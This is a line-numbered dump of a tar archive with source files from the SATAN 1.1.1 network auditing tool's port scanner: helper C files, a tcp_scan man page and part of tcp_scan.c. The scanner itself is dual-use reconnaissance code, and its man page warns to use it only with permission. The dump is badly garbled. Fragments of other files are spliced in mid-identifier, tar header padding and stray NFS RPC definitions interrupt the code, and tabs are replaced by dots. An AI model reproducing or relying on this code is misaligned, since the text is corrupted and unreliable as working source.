  14850. extern void panic ARGS((char *,...));
  14851. extern char *progname;
  14852.  
  14853. /* print_data.c */
  14854. extern void print_data();
  14855.  
  14856. /* ring.c */
  14857. typedef struct RING {
  14858.     struct RING *succ;                 /* satan-1.1.1/src/port_scan/strerror.c................................................................   600 .   465 .   506 .        530  5741757374  12477. ...........................................................
  14859. .................................................................................................................................................................................................................................................................
  14860. ........................................ /*
  14861.   * strerror - translate error number to string
  14862.   * 
  14863.   * Author: Wietse Venema.
  14864.   */
  14865.  
  14866. extern char *sys_errlist[];
  14867. extern int sys_nerr;
  14868.  
  14869. char   *strerror(err)
  14870. int     err;
  14871. {
  14872.     static char buf[20];
  14873.  
  14874.     if (err < sys_nerr && err > 0) {
  14875. .return (sys_errlist[err]);
  14876.     } else {
  14877. .sprintf(buf, "Unknown error %d", err);
  14878. .return (buf);
  14879.     }
  14880. }
  14881.  ARGS((char *,...));
  14882. extern char *progname;
  14883.  
  14884. /* print_data.c */
  14885. extern void print_data();
  14886.  
  14887. /* ring.c */
  14888. typedef struct RING {
  14889.     struct RING *succ;                 /* satan-1.1.1/src/port_scan/mallocs.c.................................................................   600 .   465 .   506 .       1341  5740245171  12252. ...........................................................
  14890. .................................................................................................................................................................................................................................................................
  14891. ........................................ /*
  14892.   * mymalloc, myrealloc, dupstr - memory allocation with error handling
  14893.   * 
  14894.   * Environment: POSIX, ANSI
  14895.   * 
  14896.   * Author: Wietse Venema.
  14897.   */
  14898.  
  14899. #include <stdlib.h>
  14900. #include <unistd.h>
  14901. #include <string.h>
  14902.  
  14903. #include "lib.h"
  14904.  
  14905. /* mymalloc - allocate memory or bust */
  14906.  
  14907. char   *mymalloc(len)
  14908. int     len;
  14909. {
  14910.     char   *ptr;
  14911.  
  14912.     if ((ptr = malloc(len)) == 0)
  14913. .error("Insufficient memory: %m");
  14914.     return (ptr);
  14915. }
  14916.  
  14917. /* myrealloc - reallocate memory or bust */
  14918.  
  14919. char   *myrealloc(ptr, len)
  14920. char   *ptr;
  14921. int     len;
  14922. {
  14923.     if ((ptr = realloc(ptr, len)) == 0)
  14924. .error("Insufficient memory: %m");
  14925.     return (ptr);
  14926. }
  14927.  
  14928. /* dupstr - save string to heap */
  14929.  
  14930. char   *dupstr(str)
  14931. char   *str;
  14932. {
  14933.     return (strcpy(mymalloc(strlen(str) + 1), str));
  14934. }
  14935. ddr);
  14936. }
  14937.  
  14938. /* find_port - translate numerical or symbolic service name */
  14939.  
  14940. int     find_port(service, protocol)
  14941. char   *service;
  14942. char   *protocol;
  14943. {
  14944.     struct servent *sp;
  14945.     int     port;
  14946.  
  14947.     if ((port = atoi(service)) != 0) {
  14948. .return (htons(port));
  14949.     } else {
  14950. .if ((sp = getservbynasatan-1.1.1/src/port_scan/non_blocking.c............................................................   600 .   465 .   506 .        752  5740245176  13254. ...............................................................................
  14951. .................................................................................................................................................................................................................................................................
  14952. .................... /*
  14953.   * non_blocking - set/clear open file non-blocking I/O flag
  14954.   * 
  14955.   * Environment: POSIX, 43BSD
  14956.   * 
  14957.   * Author: Wietse Venema.
  14958.   */
  14959.  
  14960. #include <sys/types.h>
  14961. #include <fcntl.h>
  14962.  
  14963. /* Backwards compatibility */
  14964. #ifdef FNDELAY
  14965. #define PATTERN.FNDELAY
  14966. #else
  14967. #define PATTERN.O_NONBLOCK
  14968. #endif
  14969.  
  14970. non_blocking(fd, on)
  14971. int     fd;
  14972. int     on;
  14973. {
  14974.     int     flags;
  14975.  
  14976.     if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
  14977. .return -1;
  14978.     return fcntl(fd, F_SETFL, on ? flags | PATTERN : flags & ~PATTERN);
  14979. }
  14980.  
  14981. r   *ptr;
  14982. int     len;satan-1.1.1/src/port_scan/open_limit.c..............................................................   600 .   465 .   506 .        743  5740245203  12740. .........................................................................................
  14983. .................................................................................................................................................................................................................................................................
  14984. .......... /*
  14985.   * open_limit - determine the current open file limit
  14986.   * 
  14987.   * Environment: POSIX, 44BSD, 43BSD
  14988.   * 
  14989.   * Author: Wietse Venema.
  14990.   */
  14991.  
  14992. #include <sys/types.h>
  14993. #include <sys/time.h>
  14994. #include <sys/resource.h>
  14995.  
  14996. /* 44BSD compatibility. */
  14997. #ifdef RLIMIT_OFILE
  14998. #define RLIMIT_NOFILE RLIMIT_OFILE
  14999. #endif
  15000.  
  15001. int     open_limit()
  15002. {
  15003. #ifdef RLIMIT_NOFILE
  15004.     struct rlimit rl;
  15005.  
  15006.     getrlimit(RLIMIT_NOFILE, &rl);
  15007.     return (rl.rlim_cur);
  15008. #else
  15009.             return (getdtablesize());
  15010. #endif
  15011. }
  15012.  
  15013. N);
  15014. }
  15015.  
  15016. r   *ptr;
  15017. int     len;satan-1.1.1/src/port_scan/print_data.c..............................................................   600 .   465 .   506 .       1114  5740245207  12743. .........................................................................................
  15018. .................................................................................................................................................................................................................................................................
  15019. .......... /*
  15020.   * print_data - print random data in printable form
  15021.   * 
  15022.   * Author: Wietse Venema.
  15023.   */
  15024.  
  15025. #include <stdio.h>
  15026. #include <ctype.h>
  15027.  
  15028. #include "lib.h"
  15029.  
  15030. void    print_data(fp, buf, len)
  15031. FILE   *fp;
  15032. char   *buf;
  15033. int     len;
  15034. {
  15035.     int     c;
  15036.  
  15037.     while (len-- > 0) {
  15038. .c = (*buf++ & 0377);
  15039. .if (c == '\t') {
  15040. .    fputs("\\t", fp);
  15041. .} else if (c == '\n') {
  15042. .    fputs("\\n", fp);
  15043. .} else if (c == '\r') {
  15044. .    fputs("\\r", fp);
  15045. .} else if (c == '\\') {
  15046. .    fputs("\\\\", fp);
  15047. .} else if ((c & 0177) == c && isprint(c)) {
  15048. .    putc(c, fp);
  15049. .} else {
  15050. .    fprintf(fp, "\\%03d", c);
  15051. .}
  15052.     }
  15053. }
  15054. ;
  15055.     return (ptr);
  15056. }
  15057.  
  15058. /* dupstr - save string to heap */
  15059.  
  15060. char   *dupstr(str)
  15061. char   *str;
  15062. {
  15063.     return (strcpy(mymalloc(strlen(str) + 1), str));
  15064. }
  15065. ddr);
  15066. }
  15067.  
  15068. /* find_port - translate numerical or symbolic service name */
  15069.  
  15070. int     find_port(service, protocol)
  15071. char   *service;
  15072. char   *protocol;
  15073. {
  15074.     struct servent *sp;
  15075.     int     port;
  15076.  
  15077.     if ((port = atoi(service)) != 0) {
  15078. .return (htons(port));
  15079.     } else {
  15080. .if ((sp = getservbynasatan-1.1.1/src/port_scan/ring.c....................................................................   600 .   465 .   506 .       1725  5740245213  11562. ...............................................................................
  15081. .................................................................................................................................................................................................................................................................
  15082. .................... /*
  15083.   * ring_init(), ring_append(), ring_prepend(), ring_detach(), ring_succ(),
  15084.   * ring_pred() - circular list management utilities.
  15085.   * 
  15086.   * Author: Wietse Venema.
  15087.   */
  15088.  
  15089. #include "lib.h"
  15090.  
  15091. /* ring_init - initialize ring head */
  15092.  
  15093. void    ring_init(ring)
  15094. RING   *ring;
  15095. {
  15096.     ring->pred = ring->succ = ring;
  15097. }
  15098.  
  15099. /* ring_append - insert entry after ring head */
  15100.  
  15101. void    ring_append(ring, entry)
  15102. RING   *ring;
  15103. RING   *entry;
  15104. {
  15105.     entry->succ = ring->succ;
  15106.     entry->pred = ring;
  15107.     ring->succ->pred = entry;
  15108.     ring->succ = entry;
  15109. }
  15110.  
  15111. /* ring_prepend - insert new entry before ring head */
  15112.  
  15113. void    ring_prepend(ring, entry)
  15114. RING   *ring;
  15115. RING   *entry;
  15116. {
  15117.     entry->pred = ring->pred;
  15118.     entry->succ = ring;
  15119.     ring->pred->succ = entry;
  15120.     ring->pred = entry;
  15121. }
  15122.  
  15123. /* ring_detach - remove entry from ring */
  15124.  
  15125. void    ring_detach(entry)
  15126. RING   *entry;
  15127. {
  15128.     register RING *succ = entry->succ;
  15129.     register RING *pred = entry->pred;
  15130.  
  15131.     pred->succ = succ;
  15132.     succ->pred = pred;
  15133. }
  15134. port));
  15135.     } else {
  15136. .if ((sp = getservbynasatan-1.1.1/src/port_scan/tcp_scan.1................................................................   600 .   465 .   506 .       6234  5740245333  12336. ...............................................................................
  15137. .................................................................................................................................................................................................................................................................
  15138. .....................TH TCP_SCAN 1
  15139. .SH NAME
  15140. tcp_scan, udp_scan \- internet port scanners
  15141. .SH SYNOPSIS
  15142. .B tcp_scan
  15143. [-abuU] [-l load] [-s string] [-w time] host service(s)...
  15144. .sp
  15145. .B udp_scan
  15146. [-apuU] [-l load] host service(s)...
  15147. .SH DESCRIPTION
  15148. These commands take a list of internet services and investigate which
  15149. services are available from a given host.  The \fItcp_scan\fR command
  15150. looks for connection-oriented services; \fIudp_scan\fR identifies
  15151. active datagram ports.
  15152. .sp
  15153. Each \fIservice\fR argument may be specified as a symbolic name
  15154. (telnet), a port number (23), an interval (1-1023, telnet-smtp) or an
  15155. interval with the lower or upper bounds missing (the default bounds are
  15156. 1 and 65535, respectively).
  15157. .sp
  15158. Options:
  15159. .IP -a
  15160. Report status of all specified services.
  15161. .IP "-b (tcp_scan only)"
  15162. Report banner information. Banners are converted to printable form
  15163. using C-like escape sequences. Whenever \fItcp_scan\fR finds that the
  15164. server does telnet options negotiation it sets the 't' flag in the
  15165. output.  This is useful to detect telnet servers on non-standard ports.
  15166. .IP "-l load"
  15167. Minimize the impact of network roundtrip delays by performing
  15168. \fIload\fR network probes in parallel. The default load is the
  15169. per-process open-file limit - 10.
  15170. .IP "-p port (udp_scan only)"
  15171. Use this port to verify that the host or network is alive. By default
  15172. the UDP port scanner uses port number 1. Specify a port number that is
  15173. known to be unreachable or inactive.
  15174. .IP "-s string (tcp_scan only)"
  15175. After a connection has been established, send
  15176. .I string
  15177. to the server. The following backslash escapes can be used:  \\ooo
  15178. (octal character code), \\b (backspace), \\f (formfeed), \\n (newline),
  15179. \\r (carriage-return), \\s (space), and \\t (horizontal tab). The
  15180. .I string
  15181. should be enclosed between quotes if it contains shell meta characters.
  15182. .IP "-t time (tcp_scan only)"
  15183. Give up when the program has not found out anything within
  15184. .I time
  15185. seconds. This bounds the time lost when scanning systems with broken
  15186. TCP/IP implementations that do not send RESETs when contacted at a dead
  15187. port.  The udp scanner already has a built-in mechanism to detect dead
  15188. hosts.
  15189. .IP -u
  15190. Report probes that fail with "Host unreachable". Use this with packet
  15191. filters that pass most traffic.
  15192. .IP -U
  15193. Report probes that do \fInot\fR fail with "Host unreachable". Use this
  15194. with packet filters that block most traffic.
  15195. .IP "-w time (tcp_scan only)"
  15196. Wait for at most \fItime\fR seconds for banner information.
  15197. .SH WARNING
  15198. These programs will raise lots of alarms on sites that run the \fItcp
  15199. wrapper\fR or other network logging software. Use only with prior
  15200. permission.
  15201. .SH BUGS
  15202. The UDP port scanner relies on ICMP replies to detect that a service is
  15203. unavailable, and may report false positives when the host or network
  15204. dies in the middle of a measurement.
  15205. .PP
  15206. The TCP port scanner does not keep track of roundtrip times or
  15207. of retransmissions, and may overload hosts or networks.
  15208. .PP
  15209. With some UNIX implementations, a single "Host unreachable" condition
  15210. affects all connections that are being established with that host.
  15211. .PP
  15212. With some UNIX implementations, a single "Host unreachable" condition
  15213. affects all TCP connections to that host, even those that already
  15214. exist.
  15215. .SH AUTHOR
  15216. Wietse Venema
  15217. SPROC_READ(readargs) = 6;
  15218.  
  15219. ..void 
  15220. ..NFSPROC_WRITECACHE(void) = 7;
  15221.  
  15222. ..attrstat
  15223. ..NFSPROC_WRITE(writeargs) = 8;
  15224.  
  15225. ..diropres
  15226. ..NFSPROC_CREATE(createargs) = 9;
  15227.  
  15228. ..nfsstat
  15229. ..NFSPROC_REMOVE(diropargs) = 10;
  15230.  
  15231. ..nfsstat
  15232. ..NFSPROC_RENAME(renameargs) = 11;
  15233.  
  15234. ..nfsstat
  15235. ..NFSPROC_LINK(linkargs) = 12;
  15236.  
  15237. ..nfsstat
  15238. ..NFSPROC_SYMLINK(symlinkargs) = 13;
  15239.  
  15240. ..diropres
  15241. ..NFSPsatan-1.1.1/src/port_scan/tcp_scan.c................................................................   600 .   465 .   506 .      33403  5740245224  12435. ...............................................................................................
  15242. .................................................................................................................................................................................................................................................................
  15243. .... /*
  15244.   * tcp_scan - determine available tcp services, optionally collect banners
  15245.   * and detect telnet options
  15246.   * 
  15247.   * Author: Wietse Venema.
  15248.   */
  15249.  
  15250. #include <sys/types.h>
  15251. #include <sys/param.h>
  15252. #include <sys/time.h>
  15253. #include <sys/socket.h>
  15254.  
  15255. #include <netinet/in.h>
  15256. #include <netinet/in_systm.h>
  15257. #include <netinet/ip.h>
  15258. #include <netinet/ip_icmp.h>
  15259. #include <netinet/tcp.h>
  15260.  
  15261. #include <arpa/telnet.h>
  15262.  
  15263. #include <stdio.h>
  15264. #include <signal.h>
  15265. #include <netdb.h>
  15266. #include <string.h>
  15267. #include <errno.h>
  15268.  
  15269. extern int errno;
  15270. extern char *optarg;
  15271. extern int optind;
  15272.  
  15273. #ifndef __STDC__
  15274. extern char *strerror();
  15275. #endif
  15276.  
  15277. #define offsetof(t,m).(size_t)(&(((t *)0)->m))
  15278.  
  15279. #ifndef IPPORT_TELNET
  15280. #define IPPORT_TELNET.23
  15281. #endif
  15282.  
  15283. #ifndef FD_SET
  15284. #include <sys/select.h>
  15285. #endif
  15286.  
  15287. #include "lib.h"
  15288.  
  15289. #define BANNER_LENGTH.2048../* upper bound on banner info */
  15290. #define BANNER_TIME.10../* time for host to send banner */
  15291. #define BANNER_IDLE.1../* delay after last banner info */
  15292.  
  15293. #define YES     1
  15294. #define NO      0
  15295.  
  15296. #define WAIT.1
  15297. #define NOWAIT.0
  15298.  
  15299. int     verbose;.../* default silent mode */
  15300. int     banner_time = BANNER_TIME;./* banner timeout */
  15301. int     open_file_limit;../* max nr of open files */
  15302. int     load_limit;.../* max nr of open sockets */
  15303.  
  15304. struct timeval now;.../* banner_info last update time */
  15305. fd_set  write_socket_mask;../* sockets with connect() in progress */
  15306. fd_set  read_socket_mask;../* sockets with connect() finished */
  15307. int     ports_busy;.../* number of open sockets */
  15308. int     ports_done;.../* number of finished sockets */
  15309. int     max_sock;.../* max socket file descriptor */
  15310. int     want_err;.../* want good/bad news */
  15311. int     show_all;.../* report all ports */
  15312.  
  15313. int    *socket_to_port;.../* socket to port number */
  15314.  
  15315. typedef struct {
  15316.     unsigned char *buf;.../* banner information or null */
  15317.     int     count;.../* amount of banner received sofar */
  15318.     int     flags;.../* see below */
  15319.     struct timeval connect_time;./* when connect() finished */
  15320.     struct timeval read_time;../* time of last banner update */
  15321. } BANNER_INFO;
  15322.  
  15323. BANNER_INFO *banner_info = 0;
  15324.  
  15325. #define F_TELNET.(1<<0)../* telnet options seen */
  15326.  
  15327. int     icmp_sock;.../* for unreachable reports */
  15328. static struct sockaddr_in sin;../* remote endpoint info */
  15329.  
  15330. static char *send_string;../* string to send */
  15331. int response_time;.../* need some response */
  15332.  
  15333. #define NEW(type, count) (type *) mymalloc((count) * sizeof(type))
  15334.  
  15335. #define time_since(t) (now.tv_sec - t.tv_sec + 1e-6 * (now.tv_usec - t.tv_usec))
  15336.  
  15337. /* main - command-line interface */
  15338.  
  15339. main(argc, argv)
  15340. int     argc;
  15341. char   *argv[];
  15342. {
  15343.     int     c;
  15344.     struct protoent *pe;
  15345.     char  **ports;
  15346.  
  15347.     progname = argv[0];
  15348.     if (geteuid())
  15349. .error("This program needs root privileges");
  15350.  
  15351.     open_file_limit = open_limit();
  15352.     load_limit = open_file_limit - 10;
  15353.  
  15354.     while ((c = getopt(argc, argv, "abl:s:t:uUvw:")) != EOF) {
  15355. .switch (c) {
  15356. .case 'a':
  15357. .    show_all = 1;
  15358. .    break;
  15359. .case 'b':
  15360. .    if (banner_info == 0)
  15361. ..banner_info = NEW(BANNER_INFO, open_file_limit);
  15362. .    break;
  15363. .case 'l':
  15364. .    if ((load_limit = atoi(optarg)) <= 0)
  15365. ..usage("invalid load limit");
  15366. .    if (load_limit > open_file_limit - 10)
  15367. ..load_limit = open_file_limit - 10;
  15368. .    break;
  15369. .case 's':
  15370. .    send_string = optarg;
  15371. .    signal(SIGPIPE, SIG_IGN);
  15372. .    break;
  15373.  .case 't':
  15374. .    if ((response_time = atoi(optarg)) <= 0)
  15375. ..usage("invalid timeout");
  15376. .    break;
  15377. .case 'u':
  15378. .    want_err = EHOSTUNREACH;
  15379. .    break;
  15380. .case 'U':
  15381. .    want_err = ~EHOSTUNREACH;
  15382. .    break;
  15383. .case 'v':
  15384. .    verbose = 1;
  15385. .    break;
  15386. .case 'w':
  15387. .    if ((banner_time = atoi(optarg)) <= 0)
  15388. ..usage("invalid timeout");
  15389. .    break;
  15390. .default:
  15391. .    usage((char *) 0);
  15392. .    break;
  15393. .}
  15394.     }
  15395.     argc -= (optind - 1);
  15396.     argv += (optind - 1);
  15397.     if (argc < 3)
  15398. .usage("missing host or service argument");
  15399.  
  15400.     socket_to_port = NEW(int, open_file_limit);
  15401.  
  15402.     FD_ZERO(&write_socket_mask);
  15403.     FD_ZERO(&read_socket_mask);
  15404.     ports_busy = 0;
  15405.  
  15406.     /*
  15407.      * Allocate the socket to read ICMP replies.
  15408.      */
  15409.     if ((pe = getprotobyname("icmp")) == 0)
  15410. .error("icmp: unknown protocol");
  15411.     if ((icmp_sock = socket(AF_INET, SOCK_RAW, pe->p_proto)) < 0)
  15412. .error("icmp socket: %m");
  15413.     FD_SET(icmp_sock, &read_socket_mask);
  15414.  
  15415.     /*
  15416.      * Scan the ports.
  15417.      */
  15418.     memset((char *) &sin, 0, sizeof(sin));
  15419.     sin.sin_addr = find_addr(argv[1]);
  15420.     sin.sin_family = AF_INET;
  15421.  
  15422.     if (response_time > 0)
  15423. .alarm(response_time);
  15424.  
  15425.     for (ports = argv + 2; *ports; ports++)
  15426. .scan_ports(*ports);
  15427.     while (ports_busy > 0)
  15428. .monitor_ports(WAIT);
  15429.  
  15430.     return (0);
  15431. }
  15432.  
  15433. /* usage - explain command syntax */
  15434.  
  15435. usage(why)
  15436. char   *why;
  15437. {
  15438.     if (why)
  15439. .remark(why);
  15440.     error("usage: %s [-abuU] [-l load] [-w time] host ports...", progname);
  15441. }
  15442.  
  15443. /* scan_ports - scan ranges of ports */
  15444.  
  15445. scan_ports(service)
  15446. char   *service;
  15447. {
  15448.     char   *cp;
  15449.     int     min_port;
  15450.     int     max_port;
  15451.     int     port;
  15452.     int     sock;
  15453.  
  15454.     /*
  15455.      * Translate service argument to range of port numbers.
  15456.      */
  15457.     if ((cp = strchr(service, '-')) != 0) {
  15458. .*cp++ = 0;
  15459. .min_port = (service[0] ? ntohs(find_port(service, "tcp")) : 1);
  15460. .max_port = (cp[0] ? ntohs(find_port(cp, "tcp")) : 65535);
  15461.     } else {
  15462. .min_port = max_port = ntohs(find_port(service, "tcp"));
  15463.     }
  15464.  
  15465.     /*
  15466.      * Iterate over each port in the given range. Try to keep as many sockets
  15467.      * open at the same time as possible. Gradually increase the number of
  15468.      * probes so that they will be spread in time.
  15469.      */
  15470.     for (port = min_port; port <= max_port; port++) {
  15471. .if (verbose)
  15472. .    remark("connecting to port %d", port);
  15473. .sin.sin_port = htons(port);
  15474. .while ((sock = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
  15475. .    remark("socket: %m");
  15476. .    monitor_ports(WAIT);
  15477. .}
  15478. .add_socket(sock, port);
  15479. .non_blocking(sock, YES);
  15480. .if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0
  15481. .    && errno != EINPROGRESS) {
  15482. .    report_and_drop_socket(sock, errno);
  15483. .    continue;
  15484. .}
  15485. .if (ports_busy < load_limit && ports_busy < ports_done) {
  15486. .    monitor_ports(NOWAIT);
  15487. .} else {
  15488. .    while (ports_busy >= load_limit || ports_busy >= ports_done)
  15489. ..monitor_ports(WAIT);
  15490. .}
  15491.     }
  15492. }
  15493.  
  15494. /* monitor_ports - watch for socket activity */
  15495.  
  15496. monitor_ports(wait)
  15497. int     wait;
  15498. {
  15499.     fd_set  read_mask;
  15500.     fd_set  write_mask;
  15501.     static struct timeval waitsome = {1, 1,};
  15502.     static struct timeval waitnot = {0, 0,};
  15503.     int     sock;
  15504.     char    ch;
  15505.  
  15506.     if (banner_info == 0) {
  15507.  
  15508. ./*
  15509. . * When a connect() completes, report the socket and get rid of it.
  15510. . */
  15511. .write_mask = write_socket_mask;
  15512. .read_mask = read_socket_mask;
  15513. .if (select(max_sock + 1, &read_mask, &write_mask, (fd_set *) 0,
  15514. ..   wait ? (struct timeval *) 0 : &waitnot) < 0)
  15515. .    error("select: %m");
  15516. .if (FD_ISSET(icmp_sock, &read_mask))
  15517. .    receive_icmp(icmp_sock);
  15518. .for (sock = 0; ports_busy > 0 && sock <= max_sock; sock++) {
  15519. .    if (FD_ISSET(sock, &write_mask)) {
  15520. ..if (read(sock, &ch, 1) < 0 && errno != EWOULDBLOCK && errno != EAGAIN) {
  15521. ..    report_and_drop_socket(sock, errno);
  15522. ..} else {
  15523. ..    report_and_drop_socket(sock, 0);
  15524. ..}
  15525. .    }
  15526. .}
  15527.     } else {
  15528.  
  15529. ./*
  15530. . * When a connect() completes, try to receive some data within
  15531. . * banner_time seconds. Assume we have received all banner data when
  15532. . * a socket stops sending for BANNER_IDLE seconds.
  15533. . */
  15534. .write_mask = write_socket_mask;
  15535. .read_mask = read_socket_mask;
  15536. .if (select(max_sock + 1, &read_mask, &write_mask, (fd_set *) 0,
  15537. ..   wait ? &waitsome : &waitnot) < 0)
  15538. .    error("select: %m");
  15539. .if (FD_ISSET(icmp_sock, &read_mask))
  15540. .    receive_icmp(icmp_sock);
  15541. .gettimeofday(&now, (struct timezone *) 0);
  15542. .for (sock = 0; ports_busy > 0 && sock <= max_sock; sock++) {
  15543. .    if (sock == icmp_sock)
  15544. ..continue;
  15545. .    if (FD_ISSET(sock, &write_mask)) {
  15546. ..FD_CLR(sock, &write_socket_mask);
  15547. ..FD_SET(sock, &read_socket_mask);
  15548. ..banner_info[sock].connect_time = now;
  15549. ..if (send_string)
  15550. ..    do_send_string(sock);
  15551. .    } else if (FD_ISSET(sock, &read_mask)) {
  15552. ..switch (read_socket(sock)) {
  15553. ..case -1:
  15554. ..    if (errno != EWOULDBLOCK && errno != EAGAIN)
  15555. ...report_and_drop_socket(sock, errno);
  15556. ..    break;
  15557. ..case 0:
  15558. ..    report_and_drop_socket(sock, 0);
  15559. ..    break;
  15560. ..}
  15561. .    } else if (FD_ISSET(sock, &read_socket_mask)) {
  15562. ..if (time_since_connect(sock) > banner_time
  15563. ..    || time_since_read(sock) > BANNER_IDLE)
  15564. ..    report_and_drop_socket(sock, 0);
  15565. .    }
  15566. .}
  15567.     }
  15568. }
  15569.  
  15570. /* read_socket - read data from server */
  15571.  
  15572. read_socket(sock)
  15573. int     sock;
  15574. {
  15575.     BANNER_INFO *bp = banner_info + sock;
  15576.     unsigned char *cp;
  15577.     int     len;
  15578.     int     count;
  15579.  
  15580.     if (bp->buf == 0)
  15581. .bp->buf = (unsigned char *) mymalloc(BANNER_LENGTH);
  15582.     cp = bp->buf + bp->count;
  15583.     len = BANNER_LENGTH - bp->count;
  15584.  
  15585.     if (len == 0)
  15586. .return (0);
  15587.  
  15588.     bp->read_time = now;
  15589.  
  15590.     /*
  15591.      * Process banners with one-character reads so that we can detect telnet
  15592.      * options.
  15593.      */
  15594.  
  15595.     if ((count = read(sock, cp, 1)) == 1) {
  15596. .if (cp[0] == IAC) {
  15597. .    if ((count = read(sock, cp + 1, 2)) == 2) {
  15598. ..if (cp[1] == WILL || cp[1] == WONT) {
  15599. ..    cp[1] = DONT;
  15600. ..    bp->flags |= F_TELNET;
  15601. ..    write(sock, cp, 3);
  15602. ..} else if (cp[1] == DO || cp[1] == DONT) {
  15603. ..    cp[1] = WONT;
  15604. ..    bp->flags |= F_TELNET;
  15605. ..    write(sock, cp, 3);
  15606. ..}
  15607. .    }
  15608. .} else {..../* cp[0] != IAC */
  15609. .    bp->count++;
  15610. .}
  15611.     }
  15612.     return (count);
  15613. }
  15614.  
  15615. /* report_and_drop_socket - report what we know about this service */
  15616.  
  15617. report_and_drop_socket(sock, err)
  15618. int     sock;
  15619. int     err;
  15620. {
  15621.     alarm(0);
  15622.  
  15623.     if (show_all || want_err == err || (want_err < 0 && want_err != ~err)) {
  15624. .struct servent *sp;
  15625. .int     port = socket_to_port[sock];
  15626.  
  15627. .printf("%d:%s:", port, (sp = getservbyport(htons(port), "tcp")) != 0 ?
  15628. .       sp->s_name : "UNKNOWN");
  15629. .if (banner_info) {
  15630. .    BANNER_INFO *bp = banner_info + sock;
  15631.  
  15632. .    if (bp->flags & F_TELNET)
  15633. ..putchar('t');
  15634. .    putchar(':');
  15635. .    if (bp->count > 0)
  15636. ..print_data(stdout, bp->buf, bp->count);
  15637. .}
  15638. .if (err && show_all)
  15639. .    printf("%s", strerror(err));
  15640. .printf("\n");
  15641. .fflush(stdout);
  15642.     }
  15643.     drop_socket(sock);
  15644. }
  15645.  
  15646. /* add_socket - say this socket is being connected */
  15647.  
  15648. add_socket(sock, port)
  15649. int     sock;
  15650. int     port;
  15651. {
  15652.     BANNER_INFO *bp;
  15653.  
  15654.     socket_to_port[sock] = port;
  15655.     if (banner_info) {
  15656. .bp = banner_info + sock;
  15657. .bp->count = 0;
  15658. .bp->buf = 0;
  15659. .bp->flags = 0;
  15660.     }
  15661.     FD_SET(sock, &write_socket_mask);
  15662.     if (sock > max_sock)
  15663. .max_sock = sock;
  15664.     ports_busy++;
  15665. }
  15666.  
  15667. /* drop_socket - release socket resources */
  15668.  
  15669. drop_socket(sock)
  15670. int     sock;
  15671. {
  15672.     BANNER_INFO *bp;
  15673.  
  15674.     if (banner_info && (bp = banner_info + sock)->buf)
  15675. .free((char *) bp->buf);
  15676.     close(sock);
  15677.     FD_CLR(sock, &read_socket_mask);
  15678.     FD_CLR(sock, &write_socket_mask);
  15679.     ports_busy--;
  15680.     ports_done++;
  15681. }
  15682.  
  15683. /* time_since_read - how long since read() completed? */
  15684.  
  15685. time_since_read(sock)
  15686. int     sock;
  15687. {
  15688.     BANNER_INFO *bp = banner_info + sock;
  15689.  
  15690.     return (bp->count == 0 ? 0 : time_since(bp->read_time));
  15691. }
  15692.  
  15693. /* time_since_connect - how long since connect() completed? */
  15694.  
  15695. time_since_connect(sock)
  15696. int     sock;
  15697. {
  15698.     BANNER_INFO *bp = banner_info + sock;
  15699.  
  15700.     return (time_since(bp->connect_time));
  15701. }
  15702.  
  15703. /* receive_icmp - receive and decode ICMP message */
  15704.  
  15705. receive_icmp(sock)
  15706. int     sock;
  15707. {
  15708.     union {
  15709. .char    chars[BUFSIZ];
  15710. .struct ip ip;
  15711.     }       buf;
  15712.     int     data_len;
  15713.     int     hdr_len;
  15714.     struct ip *ip;
  15715.     struct icmp *icmp;
  15716.     struct tcphdr *tcp;
  15717.     int     port;
  15718.  
  15719.     if ((data_len = recv(sock, (char *) &buf, sizeof(buf), 0)) < 0) {
  15720. .error("error: recv: %m");
  15721. .return;
  15722.     }
  15723.  
  15724.     /*
  15725.      * Extract the IP header.
  15726.      */
  15727.     ip = &buf.ip;
  15728.     if (ip->ip_p != IPPROTO_ICMP) {
  15729. .error("error: not ICMP proto (%d)", ip->ip_p);
  15730. .return;
  15731.     }
  15732.  
  15733.     /*
  15734.      * Extract the IP payload.
  15735.      */
  15736.     hdr_len = ip->ip_hl << 2;
  15737.     if (data_len - hdr_len < ICMP_MINLEN) {
  15738. .remark("short ICMP packet (%d bytes)", data_len);
  15739. .return;
  15740.     }
  15741.     icmp = (struct icmp *) ((char *) ip + hdr_len);
  15742.     data_len -= hdr_len;
  15743.  
  15744.     if (icmp->icmp_type != ICMP_UNREACH)
  15745. .return;
  15746.  
  15747.     /*
  15748.      * Extract the offending IP packet header.
  15749.      */
  15750.     if (data_len < offsetof(struct icmp, icmp_ip) + sizeof(icmp->icmp_ip)) {
  15751. .remark("short IP header in ICMP");
  15752. .return;
  15753.     }
  15754.     ip = &(icmp->icmp_ip);
  15755.     if (ip->ip_p != IPPROTO_TCP)
  15756. .return;
  15757.     if (ip->ip_dst.s_addr != sin.sin_addr.s_addr)
  15758. .return;
  15759.  
  15760.     /*
  15761.      * Extract the offending TCP packet header.
  15762.      */
  15763.     hdr_len = ip->ip_hl << 2;
  15764.     tcp = (struct tcphdr *) ((char *) ip + hdr_len);
  15765.     data_len -= hdr_len;
  15766.     if (data_len < offsetof(struct tcphdr, th_dport) + sizeof(tcp->th_dport)) {
  15767. .remark("short TCP header in ICMP");
  15768. .return;
  15769.     }
  15770.  
  15771.     /*
  15772.      * Process ICMP subcodes.
  15773.      */
  15774.     switch (icmp->icmp_code) {
  15775.     case ICMP_UNREACH_NET:
  15776.     case ICMP_UNREACH_PROTOCOL:
  15777. ./* error("error: network or protocol unreachable"); */
  15778. ./* NOTREACHED */
  15779.     case ICMP_UNREACH_PORT:
  15780.     case ICMP_UNREACH_HOST:
  15781. .port = ntohs(tcp->th_dport);
  15782. .for (sock = 0; sock < open_file_limit; sock++)
  15783. .    if (socket_to_port[sock] == port) {
  15784. ..report_and_drop_socket(sock, EHOSTUNREACH);
  15785. ..return;
  15786. .    }
  15787. .break;
  15788.     }
  15789. }
  15790.  
  15791. /* do_send_string - send the send string */
  15792.  
  15793. do_send_string(sock)
  15794. int     sock;
  15795. {
  15796.     char    buf[BUFSIZ];
  15797.     char   *cp = buf;
  15798.     char    ch;
  15799.     int     c;
  15800.     int     i;
  15801.     char   *s = send_string;
  15802.  
  15803.     while (*s && cp < buf + sizeof(buf) - 1) {./* don't overflow the buffer */
  15804.  
  15805. .if (*s != '\\') {.../* ordinary character */
  15806. .    *cp++ = *s++;
  15807. .} else if (isdigit(*++s) && *s < '8') {./* \nnn octal code */
  15808. .    sscanf(s, "%3o", &c);
